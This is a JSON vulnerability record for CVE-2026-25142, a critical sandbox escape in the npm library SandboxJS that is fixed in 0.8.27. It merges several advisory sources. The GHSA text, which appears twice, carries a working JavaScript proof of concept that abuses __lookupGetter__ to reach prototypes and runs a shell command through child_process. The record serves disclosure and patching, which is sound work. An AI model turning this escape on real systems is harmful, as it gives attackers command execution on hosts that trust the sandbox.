{"id":"CVE-2026-25142","aliases":["EUVD-2026-5407","GHSA-9p4w-fq8m-2hp7"],"status":"published","title":"SandboxJS Prototype Pollution -\u003e Sandbox Escape -\u003e RCE","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.27, SanboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. This vulnerability is fixed in 0.8.27.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01213,"percentile":0.68725,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-94"],"published":"2026-02-02T20:17:39Z","modified":"2026-10-28T02:31:00Z","fixes":[{"ecosystem":"npm","package":"@nyariv/sandboxjs","fixed_in":["0.8.27"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.26"},{"fixed":"0.8.27"}]}]},{"source":"osv","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.27"}]}]}],"products":[{"vendor":"nyariv","product":"sandboxjs"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398","tags":["x_refsource_MISC","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25142","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9p4w-fq8m-2hp7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25142.json","tags":["advisory"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25142","title":"SandboxJS Prototype Pollution -\u003e Sandbox Escape -\u003e RCE","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.27, SanboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. This vulnerability is fixed in 0.8.27.","status":"published","published":"2026-02-02T22:51:40.651Z","modified":"2026-02-04T16:53:07.833Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-5407","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.27, SanboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. This vulnerability is fixed in 0.8.27.","status":"published","published":"2026-02-02T22:51:40Z","modified":"2026-02-04T16:53:07Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:44.193176Z"}],"ghsa":[{"id":"GHSA-9p4w-fq8m-2hp7","title":"SandboxJS Vulnerable to Prototype Pollution -\u003e Sandbox Escape -\u003e RCE","description":"### Summary\n\nSandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.\n\n### Details\n\nhttps://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398\n\nThe Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.\n\n### PoC\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nlet getProto = Object.toString.__lookupGetter__(\"__proto__\")\nlet m = getProto.call(new Map());\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`\nsb.compile(payload)().run();\n```\n\n### Impact\nPrototype Pollution -\u003e RCE","status":"published","published":"2026-02-02T20:17:39Z","modified":"2026-02-18T23:42:51Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94","CWE-1321"],"updated_at":"2026-11-02T14:39:25.82905Z"}],"nvd":[{"id":"CVE-2026-25142","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.27, SanboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. This vulnerability is fixed in 0.8.27.","status":"published","published":"2026-02-02T23:16:09.44Z","modified":"2026-06-17T10:24:10.873Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-1321"],"updated_at":"2026-11-02T14:12:05.149641Z"}],"osv":[{"id":"CVE-2026-25142","title":"SandboxJS Prototype Pollution -\u003e Sandbox Escape -\u003e RCE","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.27, SanboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. This vulnerability is fixed in 0.8.27.","status":"published","published":"2026-02-02T22:51:40.651Z","modified":"2026-10-28T02:31:00.075023084Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-9p4w-fq8m-2hp7","title":"SandboxJS Vulnerable to Prototype Pollution -\u003e Sandbox Escape -\u003e RCE","description":"### Summary\n\nSandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.\n\n### Details\n\nhttps://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398\n\nThe Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.\n\n### PoC\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nlet getProto = Object.toString.__lookupGetter__(\"__proto__\")\nlet m = getProto.call(new Map());\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`\nsb.compile(payload)().run();\n```\n\n### Impact\nPrototype Pollution -\u003e RCE","status":"published","published":"2026-02-02T20:17:39Z","modified":"2026-02-18T23:56:45.250086Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1321","CWE-94"],"updated_at":"2026-11-02T15:46:43.875515Z"}]}}